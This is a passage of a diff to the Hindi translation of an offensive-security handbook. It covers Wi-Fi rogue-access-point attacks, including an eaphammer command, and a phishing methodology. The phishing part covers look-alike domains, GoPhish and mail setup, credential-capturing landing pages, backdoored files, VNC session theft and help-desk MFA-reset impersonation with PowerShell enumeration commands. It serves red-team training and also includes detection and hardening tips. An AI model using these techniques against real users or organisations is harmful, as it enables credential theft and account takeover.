अनुकरण करके कनेक्शन प्रक्रिया को ब्रूट-फोर्स करती है, संभावित ESSIDs की एक सूची के माध्यम से चक्रित करती है** जो एक शब्द सूची से निकाली गई है। यह कई नेटवर्कों की उपस्थिति का अनुकरण करता है, उम्मीद करते हुए कि एक ESSID पीड़ित के PNL में मेल खा जाए, जो निर्मित AP से कनेक्शन प्रयास को प्रेरित करता है। इस हमले को `--loud` विकल्प के साथ मिलाकर उपकरणों को फंसाने के लिए अधिक आक्रामक प्रयास के लिए बढ़ाया जा सकता है। +जब **Loud MANA attack** पर्याप्त नहीं हो सकता, **Known Beacon attack** एक और दृष्टिकोण प्रस्तुत करता है। यह विधि **किसी भी नेटवर्क नाम का उत्तर देने वाले AP का अनुकरण करके कनेक्शन प्रक्रिया को ब्रूट-फोर्स करती है, संभावित ESSIDs की एक सूची के माध्यम से चक्रित करती है** जो एक शब्द सूची से निकाली गई है। यह कई नेटवर्कों की उपस्थिति का अनुकरण करता है, उम्मीद करते हुए कि एक ESSID पीड़ित के PNL में मेल खा जाए, जिससे निर्मित AP के लिए कनेक्शन प्रयास को प्रेरित किया जा सके। इस हमले को `--loud` विकल्प के साथ मिलाकर उपकरणों को फंसाने के लिए अधिक आक्रामक प्रयास के लिए बढ़ाया जा सकता है। -Eaphammer ने इस हमले को एक MANA हमले के रूप में लागू किया जहाँ सूची के अंदर सभी ESSIDs को चार्ज किया जाता है (आप इसे `--loud` के साथ मिलाकर Loud MANA + Known beacons attack भी बना सकते हैं): +Eaphammer ने इस हमले को एक MANA हमले के रूप में लागू किया जहाँ सूची के अंदर सभी ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ मिलाकर Loud MANA + Known beacons attack भी बना सकते हैं): ```bash ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` @@ -675,7 +676,7 @@ Wi-Fi Direct कनेक्शनों के लिए सुरक्षा ### EvilDirect Hijacking -**EvilDirect Hijacking** एक ऐसा हमला है जो विशेष रूप से Wi-Fi Direct के लिए है। यह Evil Twin हमले के सिद्धांत को दर्शाता है लेकिन Wi-Fi Direct कनेक्शनों को लक्षित करता है। इस परिदृश्य में, एक हमलावर एक वैध समूह मालिक का अनुकरण करता है जिसका उद्देश्य उपकरणों को एक दुर्भावनापूर्ण इकाई से कनेक्ट करने के लिए धोखा देना है। इस विधि को `airbase-ng` जैसे उपकरणों का उपयोग करके निष्पादित किया जा सकता है, जिसमें अनुकरण किए गए उपकरण का चैनल, ESSID और MAC पता निर्दिष्ट किया जाता है: +**EvilDirect Hijacking** एक ऐसा हमला है जो Wi-Fi Direct के लिए विशिष्ट है। यह Evil Twin हमले के सिद्धांत को दर्शाता है लेकिन Wi-Fi Direct कनेक्शनों को लक्षित करता है। इस परिदृश्य में, एक हमलावर एक वैध समूह मालिक का अनुकरण करता है जिसका उद्देश्य उपकरणों को एक दुर्भावनापूर्ण इकाई से कनेक्ट करने के लिए धोखा देना है। इस विधि को `airbase-ng` जैसे उपकरणों का उपयोग करके निष्पादित किया जा सकता है, जिसमें अनुकरण किए गए उपकरण का चैनल, ESSID, और MAC पता निर्दिष्ट किया जाता है: ## References diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 74f33a512..de1178b31 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -1,20 +1,20 @@ -# फ़िशिंग पद्धति +# Phishing Methodology {{#include ../../banners/hacktricks-training.md}} -## पद्धति +## Methodology -1. पीड़ित की पहचान करें -1. **पीड़ित डोमेन** का चयन करें। -2. पीड़ित द्वारा उपयोग किए जाने वाले **लॉगिन पोर्टल्स** की बुनियादी वेब एन्यूमरेशन करें और **निर्णय लें** कि आप किसका **नकली रूप धारण करेंगे**। +1. शिकार का पता लगाना +1. **शिकार डोमेन** का चयन करें। +2. शिकार द्वारा उपयोग किए जाने वाले **लॉगिन पोर्टल्स** की कुछ बुनियादी वेब एन्यूमरेशन करें और **निर्णय** लें कि आप किसका **नकली रूप** धारण करेंगे। 3. कुछ **OSINT** का उपयोग करके **ईमेल खोजें**। 2. वातावरण तैयार करें -1. फ़िशिंग मूल्यांकन के लिए उपयोग करने के लिए **डोमेन खरीदें**। -2. **ईमेल सेवा** से संबंधित रिकॉर्ड (SPF, DMARC, DKIM, rDNS) को **कॉन्फ़िगर करें**। -3. **gophish** के साथ VPS को कॉन्फ़िगर करें। +1. **डोमेन खरीदें** जिसका आप फ़िशिंग आकलन के लिए उपयोग करने जा रहे हैं +2. **ईमेल सेवा** से संबंधित रिकॉर्ड (SPF, DMARC, DKIM, rDNS) को **कॉन्फ़िगर करें** +3. **gophish** के साथ VPS को कॉन्फ़िगर करें 3. अभियान तैयार करें -1. **ईमेल टेम्पलेट** तैयार करें। -2. क्रेडेंशियल्स चुराने के लिए **वेब पृष्ठ** तैयार करें। +1. **ईमेल टेम्पलेट** तैयार करें +2. क्रेडेंशियल चुराने के लिए **वेब पेज** तैयार करें 4. अभियान शुरू करें! ## समान डोमेन नाम उत्पन्न करें या एक विश्वसनीय डोमेन खरीदें @@ -22,20 +22,20 @@ ### डोमेन नाम विविधता तकनीकें - **कीवर्ड**: डोमेन नाम में मूल डोमेन का एक महत्वपूर्ण **कीवर्ड** **शामिल** है (जैसे, zelster.com-management.com)। -- **हाइफन वाला उपडोमेन**: उपडोमेन के **डॉट को हाइफन में बदलें** (जैसे, www-zelster.com)। -- **नया TLD**: एक **नए TLD** का उपयोग करते हुए वही डोमेन (जैसे, zelster.org)। +- **हाइपेन सबडोमेन**: एक सबडोमेन के **डॉट को हाइफन** में बदलें (जैसे, www-zelster.com)। +- **नया TLD**: एक **नए TLD** का उपयोग करते हुए वही डोमेन (जैसे, zelster.org) - **हॉमोग्लिफ**: यह डोमेन नाम में एक अक्षर को **समान दिखने वाले अक्षरों** से **बदलता** है (जैसे, zelfser.com)। {{#ref}} homograph-attacks.md {{#endref}} -- **स्थानांतरण:** यह डोमेन नाम में **दो अक्षरों को स्वैप करता है** (जैसे, zelsetr.com)। +- **स्थानांतरण:** यह डोमेन नाम में **दो अक्षरों को स्वैप** करता है (जैसे, zelsetr.com)। - **एकवचन/बहुवचन**: डोमेन नाम के अंत में “s” जोड़ता या हटाता है (जैसे, zeltsers.com)। - **अवशेष**: यह डोमेन नाम से **एक** अक्षर को **हटाता** है (जैसे, zelser.com)। - **दोहराव:** यह डोमेन नाम में **एक** अक्षर को **दोहराता** है (जैसे, zeltsser.com)। - **प्रतिस्थापन**: हॉमोग्लिफ की तरह लेकिन कम छिपा हुआ। यह डोमेन नाम में एक अक्षर को बदलता है, शायद कीबोर्ड पर मूल अक्षर के निकटता में एक अक्षर के साथ (जैसे, zektser.com)। -- **उपडोमेन**: डोमेन नाम के अंदर एक **डॉट** पेश करें (जैसे, ze.lster.com)। -- **सम्मिलन**: यह डोमेन नाम में **एक अक्षर सम्मिलित करता है** (जैसे, zerltser.com)। +- **सबडोमेन**: डोमेन नाम के अंदर एक **डॉट** पेश करें (जैसे, ze.lster.com)। +- **सम्मिलन**: यह डोमेन नाम में **एक अक्षर सम्मिलित** करता है (जैसे, zerltser.com)। - **गायब डॉट**: डोमेन नाम के साथ TLD जोड़ें। (जैसे, zelstercom.com) **स्वचालित उपकरण** @@ -51,20 +51,20 @@ homograph-attacks.md ### बिटफ्लिपिंग -एक **संभावना है कि कुछ बिट्स जो संग्रहीत हैं या संचार में हैं, विभिन्न कारकों के कारण स्वचालित रूप से पलट सकते हैं** जैसे सौर ज्वालाएं, ब्रह्मांडीय किरणें, या हार्डवेयर त्रुटियाँ। +यहां **संभवना है कि कुछ बिट्स जो संग्रहीत हैं या संचार में हैं, विभिन्न कारकों जैसे सौर ज्वालाओं, ब्रह्मांडीय किरणों, या हार्डवेयर त्रुटियों के कारण स्वचालित रूप से पलट सकते हैं**। जब इस अवधारणा को **DNS अनुरोधों पर लागू किया जाता है**, तो यह संभव है कि **DNS सर्वर द्वारा प्राप्त डोमेन** वही न हो जो प्रारंभ में अनुरोध किया गया था। उदाहरण के लिए, "windows.com" डोमेन में एकल बिट संशोधन इसे "windnws.com" में बदल सकता है। -हमलावर **इसका लाभ उठाकर कई बिट-फ्लिपिंग डोमेन पंजीकृत कर सकते हैं** जो पीड़ित के डोमेन के समान हैं। उनका इरादा वैध उपयोगकर्ताओं को अपनी खुद की अवसंरचना की ओर पुनर्निर्देशित करना है। +हमलावर **इसका लाभ उठाकर कई बिट-फ्लिपिंग डोमेन पंजीकृत कर सकते हैं** जो शिकार के डोमेन के समान हैं। उनका इरादा वैध उपयोगकर्ताओं को अपनी खुद की अवसंरचना की ओर मोड़ना है। अधिक जानकारी के लिए पढ़ें [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) ### एक विश्वसनीय डोमेन खरीदें आप [https://www.expireddomains.net/](https://www.expireddomains.net) पर एक समाप्त डोमेन खोज सकते हैं जिसका आप उपयोग कर सकते हैं।\ -यह सुनिश्चित करने के लिए कि आप जो समाप्त डोमेन खरीदने जा रहे हैं, **पहले से ही एक अच्छा SEO** है, आप देख सकते हैं कि यह कैसे वर्गीकृत है: +यह सुनिश्चित करने के लिए कि आप जो समाप्त डोमेन खरीदने जा रहे हैं **उसका पहले से अच्छा SEO है**, आप देख सकते हैं कि यह कैसे वर्गीकृत है: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) @@ -77,17 +77,17 @@ homograph-attacks.md - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -**अधिक** मान्य ईमेल पते खोजने या **पहले से खोजे गए पते** की पुष्टि करने के लिए आप देख सकते हैं कि क्या आप पीड़ित के smtp सर्वरों को ब्रूट-फोर्स कर सकते हैं। [यहां ईमेल पते की पुष्टि/खोजने के तरीके के बारे में जानें](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)।\ -इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुँचने के लिए कोई वेब पोर्टल** का उपयोग करते हैं, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए संवेदनशील है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं। +**अधिक** मान्य ईमेल पते खोजने या **पहले से खोजे गए पते** की पुष्टि करने के लिए आप देख सकते हैं कि क्या आप शिकार के smtp सर्वरों को ब्रूट-फोर्स कर सकते हैं। [यहां ईमेल पते की पुष्टि/खोजने के तरीके के बारे में जानें](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ +इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुंचने के लिए किसी भी वेब पोर्टल का उपयोग करते हैं**, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए संवेदनशील है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं। ## GoPhish कॉन्फ़िगर करना ### स्थापना -आप इसे [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) से डाउनलोड कर सकते हैं। +आप इसे [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) से डाउनलोड कर सकते हैं -इसे `/opt/gophish` के अंदर डाउनलोड और डिकंप्रेस करें और `/opt/gophish/gophish` चलाएँ।\ -आपको आउटपुट में पोर्ट 3333 पर व्यवस्थापक उपयोगकर्ता के लिए एक पासवर्ड दिया जाएगा। इसलिए, उस पोर्ट तक पहुँचें और उन क्रेडेंशियल्स का उपयोग करके व्यवस्थापक पासवर्ड बदलें। आपको उस पोर्ट को स्थानीय पर टनल करने की आवश्यकता हो सकती है: +इसे `/opt/gophish` के अंदर डाउनलोड और डिकंप्रेस करें और `/opt/gophish/gophish` चलाएं।\ +आपको आउटपुट में पोर्ट 3333 में व्यवस्थापक उपयोगकर्ता के लिए एक पासवर्ड दिया जाएगा। इसलिए, उस पोर्ट तक पहुंचें और व्यवस्थापक पासवर्ड बदलने के लिए उन क्रेडेंशियल्स का उपयोग करें। आपको उस पोर्ट को स्थानीय पर टनल करने की आवश्यकता हो सकती है: ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -115,7 +115,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt शुरू करें इंस्टॉल करने के लिए: `apt-get install postfix` -फिर निम्नलिखित फ़ाइलों में डोमेन जोड़ें: +फिर डोमेन को निम्नलिखित फ़ाइलों में जोड़ें: - **/etc/postfix/virtual_domains** - **/etc/postfix/transport** @@ -138,7 +138,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e **Gophish कॉन्फ़िगरेशन** gophish का निष्पादन रोकें और इसे कॉन्फ़िगर करें।\ -`/opt/gophish/config.json` को निम्नलिखित में संशोधित करें (https के उपयोग का ध्यान रखें): +`/opt/gophish/config.json` को निम्नलिखित में संशोधित करें (https के उपयोग पर ध्यान दें): ```bash { "admin_server": { @@ -239,7 +239,7 @@ service gophish stop आपको **नए डोमेन के लिए एक SPF रिकॉर्ड कॉन्फ़िगर करना चाहिए**। यदि आप नहीं जानते कि SPF रिकॉर्ड क्या है [**इस पृष्ठ को पढ़ें**](../../network-services-pentesting/pentesting-smtp/index.html#spf)। -आप [https://www.spfwizard.net/](https://www.spfwizard.net) का उपयोग करके अपनी SPF नीति उत्पन्न कर सकते हैं (VPS मशीन का IP उपयोग करें) +आप अपने SPF नीति को उत्पन्न करने के लिए [https://www.spfwizard.net/](https://www.spfwizard.net) का उपयोग कर सकते हैं (VPS मशीन का IP उपयोग करें) ![](<../../images/image (1037).png>) @@ -270,13 +270,13 @@ v=DMARC1; p=none ### अपने ईमेल कॉन्फ़िगरेशन स्कोर का परीक्षण करें -आप [https://www.mail-tester.com/](https://www.mail-tester.com) का उपयोग करके ऐसा कर सकते हैं।\ +आप [https://www.mail-tester.com/](https://www.mail-tester.com) का उपयोग करके ऐसा कर सकते हैं\ बस पृष्ठ पर जाएं और आपको दिए गए पते पर एक ईमेल भेजें: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` -आप अपने **ईमेल कॉन्फ़िगरेशन** की भी जांच कर सकते हैं `check-auth@verifier.port25.com` को ईमेल भेजकर और **प्रतिक्रिया पढ़कर** (इसके लिए आपको **पोर्ट 25** खोलने की आवश्यकता होगी और यदि आप ईमेल को रूट के रूप में भेजते हैं तो फ़ाइल _/var/mail/root_ में प्रतिक्रिया देखें)।\ -सुनिश्चित करें कि आप सभी परीक्षणों में पास करते हैं: +आप अपने **ईमेल कॉन्फ़िगरेशन** की भी जांच कर सकते हैं `check-auth@verifier.port25.com` पर एक ईमेल भेजकर और **प्रतिक्रिया पढ़कर** (इसके लिए आपको **पोर्ट 25** खोलने की आवश्यकता होगी और यदि आप ईमेल को रूट के रूप में भेजते हैं तो फ़ाइल _/var/mail/root_ में प्रतिक्रिया देखें)।\ +जांचें कि आप सभी परीक्षणों में पास होते हैं: ```bash ========================================================== Summary of Results @@ -299,17 +299,17 @@ dkim=pass header.i=@example.com; ### Microsoft ब्लैकलिस्ट से हटाना -​​आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं [https://sender.office.com/](https://sender.office.com)। +​​आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं [https://sender.office.com/](https://sender.office.com) पर। ## GoPhish अभियान बनाएं और लॉन्च करें ### भेजने की प्रोफ़ाइल -- प्रेषक प्रोफ़ाइल की पहचान के लिए कुछ **नाम सेट करें** +- प्रेषक प्रोफ़ाइल को पहचानने के लिए कुछ **नाम सेट करें** - तय करें कि आप फ़िशिंग ईमेल किस खाते से भेजने जा रहे हैं। सुझाव: _noreply, support, servicedesk, salesforce..._ - आप उपयोगकर्ता नाम और पासवर्ड को खाली छोड़ सकते हैं, लेकिन सुनिश्चित करें कि Ignore Certificate Errors को चेक करें -![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) +![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!TIP] > यह अनुशंसित है कि आप "**Send Test Email**" कार्यक्षमता का उपयोग करें यह परीक्षण करने के लिए कि सब कुछ काम कर रहा है।\ @@ -317,7 +317,7 @@ dkim=pass header.i=@example.com; ### ईमेल टेम्पलेट -- टेम्पलेट की पहचान के लिए कुछ **नाम सेट करें** +- टेम्पलेट को पहचानने के लिए कुछ **नाम सेट करें** - फिर एक **विषय** लिखें (कुछ अजीब नहीं, बस कुछ ऐसा जो आप एक सामान्य ईमेल में पढ़ने की उम्मीद कर सकते हैं) - सुनिश्चित करें कि आपने "**Add Tracking Image**" को चेक किया है - **ईमेल टेम्पलेट** लिखें (आप निम्नलिखित उदाहरण की तरह वेरिएबल का उपयोग कर सकते हैं): @@ -348,13 +348,13 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ![](<../../images/image (80).png>) > [!TIP] -> ईमेल टेम्पलेट में **भेजने के लिए फ़ाइलें संलग्न करने** की भी अनुमति है। यदि आप कुछ विशेष रूप से तैयार की गई फ़ाइलों/दस्तावेज़ों का उपयोग करके NTLM चुनौतियों को चुराना चाहते हैं [इस पृष्ठ को पढ़ें](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)। +> ईमेल टेम्पलेट भी **भेजने के लिए फ़ाइलें संलग्न** करने की अनुमति देता है। यदि आप कुछ विशेष रूप से तैयार की गई फ़ाइलों/दस्तावेज़ों का उपयोग करके NTLM चुनौतियों को चुराना चाहते हैं [इस पृष्ठ को पढ़ें](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)। ### लैंडिंग पृष्ठ - एक **नाम** लिखें। - **वेब पृष्ठ का HTML कोड** लिखें। ध्यान दें कि आप **वेब पृष्ठों को आयात** कर सकते हैं। -- **सबमिट किए गए डेटा को कैप्चर करें** और **पासवर्ड कैप्चर करें** को चिह्नित करें। +- **कैप्चर सबमिटेड डेटा** और **कैप्चर पासवर्ड** को चिह्नित करें। - एक **रीडायरेक्शन** सेट करें। ![](<../../images/image (826).png>) @@ -364,7 +364,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY > ध्यान दें कि यदि आपको HTML के लिए **कुछ स्थिर संसाधनों** का उपयोग करने की आवश्यकता है (शायद कुछ CSS और JS पृष्ठ) तो आप उन्हें _**/opt/gophish/static/endpoint**_ में सहेज सकते हैं और फिर _**/static/\**_ से उन तक पहुंच सकते हैं। > [!TIP] -> रीडायरेक्शन के लिए आप **उपयोगकर्ताओं को पीड़ित के वैध मुख्य वेब पृष्ठ पर रीडायरेक्ट कर सकते हैं**, या उन्हें _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, उदाहरण के लिए, कुछ **स्पिनिंग व्हील** (**[**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही है। +> रीडायरेक्शन के लिए आप **उपयोगकर्ताओं को पीड़ित के वैध मुख्य वेब पृष्ठ पर रीडायरेक्ट** कर सकते हैं, या उन्हें _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, उदाहरण के लिए, कुछ **स्पिनिंग व्हील** ([**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही है। ### उपयोगकर्ता और समूह @@ -396,7 +396,7 @@ clone-a-website.md ## बैकडोर वाले दस्तावेज़ और फ़ाइलें -कुछ फ़िशिंग आकलनों (मुख्य रूप से रेड टीमों के लिए) में आप **कुछ प्रकार के बैकडोर वाली फ़ाइलें भेजना** चाहेंगे (शायद एक C2 या शायद कुछ ऐसा जो प्रमाणीकरण को ट्रिगर करेगा)।\ +कुछ फ़िशिंग आकलनों (मुख्य रूप से रेड टीमों के लिए) में आप **कुछ प्रकार के बैकडोर वाली फ़ाइलें भेजना** चाहेंगे (शायद एक C2 या शायद बस कुछ जो प्रमाणीकरण को ट्रिगर करेगा)।\ कुछ उदाहरणों के लिए निम्नलिखित पृष्ठ देखें: {{#ref}} @@ -418,13 +418,13 @@ phishing-documents.md ### VNC के माध्यम से -क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ** पर भेजने के बजाय, उसे एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़ा ब्राउज़र हो**? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराने में सक्षम होंगे...\ +क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ** पर भेजने के बजाय, उसे एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़े ब्राउज़र** होते हैं? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराने में सक्षम होंगे...\ आप इसे [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) के साथ कर सकते हैं। ## पहचान की पहचान करना स्पष्ट रूप से, यह जानने के सबसे अच्छे तरीकों में से एक है कि क्या आपको पकड़ा गया है, **ब्लैकलिस्ट में अपने डोमेन की खोज करना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह आपका डोमेन संदिग्ध के रूप में पहचाना गया।\ -यह जांचने का एक आसान तरीका है कि क्या आपका डोमेन किसी भी ब्लैकलिस्ट में दिखाई देता है, [https://malwareworld.com/](https://malwareworld.com) का उपयोग करना है। +यह जांचने का एक आसान तरीका है कि क्या आपका डोमेन किसी भी ब्लैकलिस्ट में दिखाई देता है [https://malwareworld.com/](https://malwareworld.com) का उपयोग करना। हालांकि, यह जानने के अन्य तरीके हैं कि क्या पीड़ित **संदिग्ध फ़िशिंग गतिविधियों की सक्रिय रूप से खोज कर रहा है** जैसा कि समझाया गया है: @@ -432,7 +432,7 @@ phishing-documents.md detecting-phising.md {{#endref}} -आप **पीड़ित के डोमेन के बहुत समान नाम के साथ एक डोमेन खरीद सकते हैं** **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित डोमेन का **कीवर्ड** शामिल करता है। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से खोज कर रहा है** संदिग्ध डोमेन और आपको बहुत सतर्क रहने की आवश्यकता होगी। +आप **पीड़ित के डोमेन के बहुत समान नाम** के साथ एक डोमेन खरीद सकते हैं **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित डोमेन का **कीवर्ड** शामिल करता है। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से खोज कर रहा है** संदिग्ध डोमेन और आपको बहुत सतर्क रहने की आवश्यकता होगी। ### फ़िशिंग का मूल्यांकन करें @@ -440,19 +440,19 @@ detecting-phising.md ## उच्च-टच पहचान समझौता (हेल्प-डेस्क MFA रीसेट) -आधुनिक घुसपैठ सेट तेजी से ईमेल लुभावनों को पूरी तरह से छोड़ देते हैं और **सेवा-डेस्क / पहचान-रिकवरी कार्यप्रवाह को सीधे लक्षित करते हैं** ताकि MFA को हराया जा सके। यह हमला पूरी तरह से "लिविंग-ऑफ-द-लैंड" है: एक बार जब ऑपरेटर के पास मान्य क्रेडेंशियल्स होते हैं, तो वे अंतर्निहित प्रशासनिक उपकरणों के साथ पिवट करते हैं - कोई मैलवेयर आवश्यक नहीं है। +आधुनिक घुसपैठ सेट अक्सर ईमेल लुभावनों को पूरी तरह से छोड़ देते हैं और **MFA को हराने के लिए सेवा-डेस्क / पहचान-रिकवरी वर्कफ़्लो को सीधे लक्षित करते हैं।** हमला पूरी तरह से "लिविंग-ऑफ-द-लैंड" है: एक बार जब ऑपरेटर के पास मान्य क्रेडेंशियल्स होते हैं, तो वे अंतर्निहित व्यवस्थापक उपकरणों के साथ पिवट करते हैं - कोई मैलवेयर आवश्यक नहीं है। ### हमले का प्रवाह 1. पीड़ित की पहचान करें * लिंक्डइन, डेटा उल्लंघनों, सार्वजनिक गिटहब आदि से व्यक्तिगत और कॉर्पोरेट विवरण एकत्र करें। * उच्च-मूल्य वाली पहचान (कार्यकारी, आईटी, वित्त) की पहचान करें और पासवर्ड / MFA रीसेट के लिए **सटीक हेल्प-डेस्क प्रक्रिया** की गणना करें। 2. वास्तविक समय का सामाजिक इंजीनियरिंग -* लक्ष्य का अनुकरण करते हुए हेल्प-डेस्क को फोन, टीम या चैट करें (अक्सर **स्पूफ किए गए कॉलर-आईडी** या **क्लोन की गई आवाज** के साथ)। +* लक्ष्य का अनुकरण करते हुए हेल्प-डेस्क को फोन, टीमों या चैट करें (अक्सर **स्पूफ किए गए कॉलर-आईडी** या **क्लोन की गई आवाज** के साथ)। * ज्ञान-आधारित सत्यापन पास करने के लिए पहले से एकत्रित PII प्रदान करें। * एजेंट को **MFA सीक्रेट रीसेट** करने या पंजीकृत मोबाइल नंबर पर **SIM-स्वैप** करने के लिए मनाएं। 3. तुरंत पोस्ट-एक्सेस क्रियाएँ (≤60 मिनट वास्तविक मामलों में) * किसी भी वेब SSO पोर्टल के माध्यम से एक पैर जमाएं। -* बिल्ट-इन्स के साथ AD / AzureAD की गणना करें (कोई बाइनरी नहीं गिराए गए): +* अंतर्निहित (कोई बाइनरी नहीं गिराए गए) के साथ AD / AzureAD की गणना करें: ```powershell # सूची निर्देशिका समूह और विशेषाधिकार वाले भूमिकाएँ Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} @@ -471,7 +471,7 @@ Get-MgUserRegisteredDevice -UserId * MFA विधि बदली गई + नए उपकरण / भूगोल से प्रमाणीकरण। * उसी प्रिंसिपल (उपयोगकर्ता-→-व्यवस्थापक) का तत्काल उत्थान। * हेल्प-डेस्क कॉल रिकॉर्ड करें और किसी भी रीसेट से पहले **पहले से पंजीकृत नंबर पर कॉल-बैक** लागू करें। -* **जस्ट-इन-टाइम (JIT) / विशेषाधिकार प्राप्त पहुंच** लागू करें ताकि नए रीसेट किए गए खाते **स्वतः** उच्च-विशेषाधिकार टोकन विरासत में न लें। +* सुनिश्चित करें कि **जस्ट-इन-टाइम (JIT) / विशेषाधिकार प्राप्त पहुंच** नए रीसेट किए गए खातों को **स्वचालित रूप से** उच्च-विशेषाधिकार टोकन विरासत में नहीं मिलते हैं। --- @@ -491,7 +491,7 @@ Get-MgUserRegisteredDevice -UserId ### हार्डनिंग टिप्स * नए पंजीकृत डोमेन को ब्लॉक करें और *खोज-विज्ञापनों* के साथ-साथ ई-मेल पर **उन्नत DNS / URL फ़िल्टरिंग** लागू करें। * सॉफ़्टवेयर स्थापना को हस्ताक्षरित MSI / स्टोर पैकेज तक सीमित करें, नीति द्वारा `HTA`, `ISO`, `VBS` निष्पादन को अस्वीकार करें। -* इंस्टॉलर खोलने वाले ब्राउज़रों की बाल प्रक्रियाओं की निगरानी करें: +* इंस्टॉलर खोलने वाले ब्राउज़रों की चाइल्ड प्रक्रियाओं की निगरानी करें: ```yaml - parent_image: /Program Files/Google/Chrome/* and child_image: *\\*.exe @@ -505,9 +505,9 @@ and child_image: *\\*.exe | परत | खतरे के अभिनेता द्वारा उपयोग का उदाहरण | |-------|-----------------------------| -|स्वचालन| >100 k ईमेल / SMS उत्पन्न करें और भेजें जिसमें यादृच्छिक शब्द और ट्रैकिंग लिंक हों।| +|स्वचालन| >100 k ईमेल / SMS उत्पन्न और भेजें जिसमें यादृच्छिक शब्द और ट्रैकिंग लिंक हों।| |जनरेटिव AI| *एकल* ईमेल उत्पन्न करें जो सार्वजनिक M&A, सोशल मीडिया से अंदरूनी मजाकों का संदर्भ देते हैं; कॉलबैक धोखाधड़ी में गहरी-नकली CEO आवाज।| -|एजेंटिक AI| स्वायत्त रूप से डोमेन पंजीकृत करें, ओपन-सोर्स इंटेल स्क्रैप करें, अगली-चरण मेल तैयार करें जब कोई पीड़ित क्लिक करता है लेकिन क्रेडेंशियल्स प्रस्तुत नहीं करता।| +|एजेंटिक AI| स्वायत्त रूप से डोमेन पंजीकृत करें, ओपन-सोर्स इंटेल स्क्रैप करें, जब एक पीड़ित क्लिक करता है लेकिन क्रेडेंशियल्स प्रस्तुत नहीं करता है तो अगले चरण के ईमेल तैयार करें।| **रक्षा:** • **गतिशील बैनर** जोड़ें जो अविश्वसनीय स्वचालन से भेजे गए संदेशों को उजागर करते हैं (ARC/DKIM विसंगतियों के माध्यम से)। @@ -517,17 +517,17 @@ and child_image: *\\*.exe --- ## MFA थकान / पुश बमबारी भिन्नता - मजबूर रीसेट -क्लासिक पुश-बमबारी के अलावा, ऑपरेटर बस **हेल्प-डेस्क कॉल के दौरान एक नए MFA 